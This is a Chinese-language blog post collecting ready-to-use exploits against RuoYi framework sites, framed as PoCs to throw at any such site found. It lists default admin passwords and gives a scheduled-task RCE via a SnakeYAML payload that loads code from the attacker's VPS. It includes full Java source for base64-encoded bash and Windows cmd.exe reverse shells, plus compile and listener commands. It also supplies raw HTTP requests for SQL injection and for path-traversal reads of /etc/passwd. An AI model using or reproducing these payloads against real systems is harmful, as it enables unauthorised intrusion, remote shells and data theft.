Ruoyi框架相关漏洞汇总

Tommonkey

发布于 2023-10-18 16:13:40

3.6K0

发布于 2023-10-18 16:13:40

文章被收录于专栏：TommonkeyTommonkey

碰到若依的站现在是越来越多了，既然量上来了，那肯定是要做下记录。下次遇见就直接把poc都扔上去，有洞就收，没洞就直接跑路:)

默认口令

看了下ruoyi的源码，后台初始化是有几个默认账号的

admin:admin123
ry:123456 若开启了druid服务，路径一般为：/druid/index.html
root:123456

配合ruoyi的服务

alibaba druid
alibaba nacos
spring
redis
mysql
minio
fastjson
shiro
swagger-ui.html
mybatis

定时任务RCE

如果你能顺利进入后台，那就成功了一小半。进去后直接找定时任务

如果没有该标签，应该是被隐藏了，通过如下方法设为启用状态即可

或者直接访问路径:/monitor/job。现在演示一下反弹shell的操作

这里的调用目标字符串 poc为：

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps_ip:vps_port"]]]]')

如果http被加入黑名单，可采用h’t’t’p://方式绕过。然后需要修改编译如下项目的jar包

项目地址：
https://github.com/Y4er/yaml-payload

修改其项目文件：yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java 这里建议复制如下代码直接替换源文件

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX3Zwc19pcC92cHNfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}");  // 这里填入编码后的语句即可保存
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

注意：反弹shell语句需要编码

备注：此替换源代码来源于项目：https://github.com/artsploit/yaml-payload 文件修改完成后，编译运行生成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

将生成的新jar包上传至自己的vps,使用python起一个简单的web服务(python3 -m http.server port),同时在起一个nc -lvvp 进行端口监听即可。最后把计划任务启动即可接受shell了。

Windows 反弹shell

当目标服务器类型为windows,将AwesomeScriptEngineFactory.java的内容替换成如下源代码，并将其中的host与port修改,再进行编译即可

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() throws java.io.IOException, InterruptedException {
        try {
            
        String host="ip";
        int port=port;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        java.net.Socket s=new java.net.Socket(host,port);
        java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0) {
                so.write(pi.read());
            }
            while(pe.available()>0) {
                so.write(pe.read());
            }
            while(si.available()>0) {
                po.write(si.read());
            }
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

备注：此替换源代码来源于项目：https://github.com/bkfish/yaml-payload-for-Win 剩下的流程都是一样的^^，感谢师傅的分享

ruoyi sql注入

后台登陆获得Cookie之后直接抓包修改，poc如下,填入ip与cookie即可：

POST /system/role/list HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

ruoyi任意文件下载-1

同样的，这也需要登录后台获取Cookie后才能执行的漏洞，exp如下

GET /common/download/resource?resource=/profile/../../../../../../etc/passwd HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

ruoyi任意文件下载-2

需要登录后台抓包获取session后,在定时任务处创建任务调用Bean: ruoYiConfig.setProfile(‘/etc/passwd’)，编辑好后保存，点击执行一次后抓包，修改如下即可看到相应的文件内容

GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: targetip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=target_session
Upgrade-Insecure-Requests: 1

或者你也可以直接访问路径：/common/download/resource?resource=Info.xml:.zip 下载文件查看